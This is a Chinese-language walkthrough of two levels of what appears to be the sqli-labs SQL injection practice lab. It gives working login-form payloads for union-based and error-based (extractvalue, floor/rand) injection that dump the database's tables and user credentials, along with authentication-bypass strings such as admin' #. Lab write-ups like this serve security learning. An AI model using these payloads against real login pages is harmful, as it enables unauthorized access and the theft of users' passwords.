第十一题
方法一 union联合注入
猜闭合方式
用户名: \ 密码:空
near ''\' and password='' LIMIT 0,1' at line 1
验证
用户名上输入 ' #
密码不写
用户名上输入 ' or 1 #
显示其他用户名和密码
闭合方式为 '
用户名上输入 ' order by 10 # 报错 Unknown column '10' in 'order clause'
' order by 2 # 正常 不显示
用户名上输入 ' union select 1,2 #
显示位出现
爆库
用户名上输入 ' union select 1,database() #
Your Login name:1
Your Password:security
爆表
' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
Your Login name:1
Your Password:emails,referers,uagents,users
爆字段
' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')#
Your Login name:1
Your Password:id,username,password
爆值
' union select (select group_concat(username) from users),(select group_concat(password) from users)#
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
方法二 报错注入
(1)报错函数
爆库
用户名上输入 ' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
XPATH syntax error: '~security~'
爆表
用户名上输入
' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #
XPATH syntax error: '~emails,referers,uagents,users~'
PS
concat后第一个参数最好先跟一个东西,比如concat(0x7e,)
再来查询数据库不然可能报错
爆字段
' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) #
XPATH syntax error: '~id,username,password~'
爆值
' and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)) #
' and extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e)) #
(2)聚合函数
' union select count(*),concat(0x3a,(select database()),0x3a,floor(rand()*2))as a from information_schema.tables group by a #
payload select database()
只要替换paload就行了
方法三 万能密码
用户名上输入:admin' #
=======================================================================================================
第12题
\
near '"\") and password=("") LIMIT 0,1' at line 1
")闭合
方法一 报错型注入
(1)报错函数
用户名上输入: ") and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
(2)聚合函数
方法二,联合注入查询。
用户名上输入: ") union select 1,database() #
方法三 万能密码
用户名上输入:admin")#
详细见Less-11